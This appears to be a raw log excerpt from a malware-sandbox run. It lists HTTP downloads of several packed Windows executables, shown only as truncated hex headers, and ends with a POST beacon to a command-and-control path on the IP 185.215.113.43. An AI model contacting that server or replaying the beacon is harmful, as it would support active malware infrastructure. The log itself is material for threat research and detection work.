Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 01 Nov 2024 11:13:27 GMTContent-Type: application/octet-streamContent-Length: 2787328Last-Modified: Fri, 01 Nov 2024 10:15:56 GMTConnection: keep-aliveETag: "6724aa5c-2a8800"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 00 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 40 2b 00 00 04 00 00 e1 c8 2a 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 6a 76 6b 74 66 6b 69 6b 00 40 2a 00 00 a0 00 00 00 28 2a 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6c 77 6c 68 71 6e 62 71 00 20 00 00 00 e0 2a 00 00 04 00 00 00 62 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 00 2b 00 00 22 00 00 00 66 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 01 Nov 2024 11:13:30 GMTContent-Type: application/octet-streamContent-Length: 1884672Last-Modified: Fri, 01 Nov 2024 10:54:05 GMTConnection: keep-aliveETag: "6724b34d-1cc200"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 98 01 00 00 00 00 00 00 80 4a 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 b0 4a 00 00 04 00 00 5d 8d 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 44 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 64 4a 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 64 4a 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 44 03 00 00 00 90 06 00 00 04 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 10 2a 00 00 b0 06 00 00 02 00 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6e 70 6c 75 63 7a 63 62 00 b0 19 00 00 c0 30 00 00 a6 19 00 00 f6 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 63 76 65 75 63 69 70 66 00 10 00 00 00 70 4a 00 00 04 00 00 00 9c 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 80 4a 00 00 22 00 00 00 a0 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 01 Nov 2024 11:14:37 GMTContent-Type: application/octet-streamContent-Length: 2937856Last-Modified: Fri, 01 Nov 2024 10:53:44 GMTConnection: keep-aliveETag: "6724b338-2cd400"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 53 d3 15 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 4a 04 00 00 d6 00 00 00 00 00 00 00 e0 2f 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 10 30 00 00 04 00 00 17 5f 2d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 54 a0 05 00 68 00 00 00 00 90 05 00 40 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 a1 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 05 00 00 10 00 00 00 7e 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 40 03 00 00 00 90 05 00 00 04 00 00 00 8e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 05 00 00 02 00 00 00 92 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 72 64 70 71 61 76 78 79 00 20 2a 00 00 b0 05 00 00 18 2a 00 00 94 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 76 6c 6d 6b 6b 77 70 79 00 10 00 00 00 d0 2f 00 00 06 00 00 00 ac 2c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 e0 2f 00 00 22 00 00 00 b2 2c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 01 Nov 2024 11:14:43 GMTContent-Type: application/octet-streamContent-Length: 2126336Last-Modified: Fri, 01 Nov 2024 10:53:58 GMTConnection: keep-aliveETag: "6724b346-207200"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a2 62 9b 7d e6 03 f5 2e e6 03 f5 2e e6 03 f5 2e 89 75 5e 2e fe 03 f5 2e 89 75 6b 2e eb 03 f5 2e 89 75 5f 2e dc 03 f5 2e ef 7b 76 2e e5 03 f5 2e 66 7a f4 2f e4 03 f5 2e ef 7b 66 2e e1 03 f5 2e e6 03 f4 2e 89 03 f5 2e 89 75 5a 2e f4 03 f5 2e 89 75 68 2e e7 03 f5 2e 52 69 63 68 e6 03 f5 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 38 6e 1e 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 d0 01 00 00 dc 2c 00 00 00 00 00 00 80 72 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 b0 72 00 00 04 00 00 52 52 21 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 50 90 2e 00 64 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 91 2e 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 70 2e 00 00 10 00 00 00 76 06 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 80 2e 00 00 00 00 00 00 86 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 90 2e 00 00 02 00 00 00 86 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 00 2a 00 00 a0 2e 00 00 02 00 00 00 88 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 64 63 70 79 77 70 6d 6f 00 d0 19 00 00 a0 58 00 00 c2 19 00 00 8a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 67 68 6c 61 72 66 68 6a 00 10 00 00 00 70 72 00 00 04 00 00 00 4c 20 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 80 72 00 00 22 00 00 00 50 20 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 01 Nov 2024 11:14:49 GMTContent-Type: application/octet-streamContent-Length: 919552Last-Modified: Fri, 01 Nov 2024 10:15:29 GMTConnection: keep-aliveETag: "6724aa41-e0800"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 39 aa 24 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 58 04 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 09 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 60 0e 00 00 04 00 00 ad 1d 0e 00 02 00 40 80 00 00 40 00 00 10 00 00 00 00 40 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 64 8e 0c 00 7c 01 00 00 00 40 0d 00 28 9c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 0d 00 94 75 00 00 f0 0f 0b 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 34 0c 00 18 00 00 00 10 10 0b 00 40 00 00 00 00 00 00 00 00 00 00 00 00 c0 09 00 94 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 1d ab 09 00 00 10 00 00 00 ac 09 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 82 fb 02 00 00 c0 09 00 00 fc 02 00 00 b0 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 6c 70 00 00 00 c0 0c 00 00 48 00 00 00 ac 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 28 9c 00 00 00 40 0d 00 00 9e 00 00 00 f4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 94 75 00 00 00 e0 0d 00 00 76 00 00 00 92 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 01 Nov 2024 11:14:54 GMTContent-Type: application/octet-streamContent-Length: 888832Last-Modified: Sun, 27 Oct 2024 06:45:44 GMTConnection: keep-aliveETag: "671de198-d9000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a2 62 9b 7d e6 03 f5 2e e6 03 f5 2e e6 03 f5 2e 89 75 5e 2e fe 03 f5 2e 89 75 6b 2e eb 03 f5 2e 89 75 5f 2e dc 03 f5 2e ef 7b 76 2e e5 03 f5 2e 66 7a f4 2f e4 03 f5 2e ef 7b 66 2e e1 03 f5 2e e6 03 f4 2e 89 03 f5 2e 89 75 5a 2e f4 03 f5 2e 89 75 68 2e e7 03 f5 2e 52 69 63 68 e6 03 f5 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 38 6e 1e 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 d0 01 00 00 dc 2c 00 00 00 00 00 90 6c 01 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 d0 2e 00 00 04 00 00 00 00 00 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 58 ab 02 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 2e 00 ec 24 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 01 00 10 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 8a cf 01 00 00 10 00 00 00 d0 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 e0 2e 72 64 61 74 61 00 00 08 d1 00 00 00 e0 01 00 00 d2 00 00 00 d4 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 9c bd 2b 00 00 c0 02 00 00 9e 0a 00 00 a6 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 65 6c 6f 63 00 00 3e 4b 00 00 00 80 2e 00 00 4c 00 00 00 44 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 01 Nov 2024 11:15:03 GMTContent-Type: application/octet-streamContent-Length: 2787328Last-Modified: Fri, 01 Nov 2024 10:15:56 GMTConnection: keep-aliveETag: "6724aa5c-2a8800"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 00 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 40 2b 00 00 04 00 00 e1 c8 2a 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 6a 76 6b 74 66 6b 69 6b 00 40 2a 00 00 a0 00 00 00 28 2a 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6c 77 6c 68 71 6e 62 71 00 20 00 00 00 e0 2a 00 00 04 00 00 00 62 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 00 2b 00 00 22 00 00 00 66 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
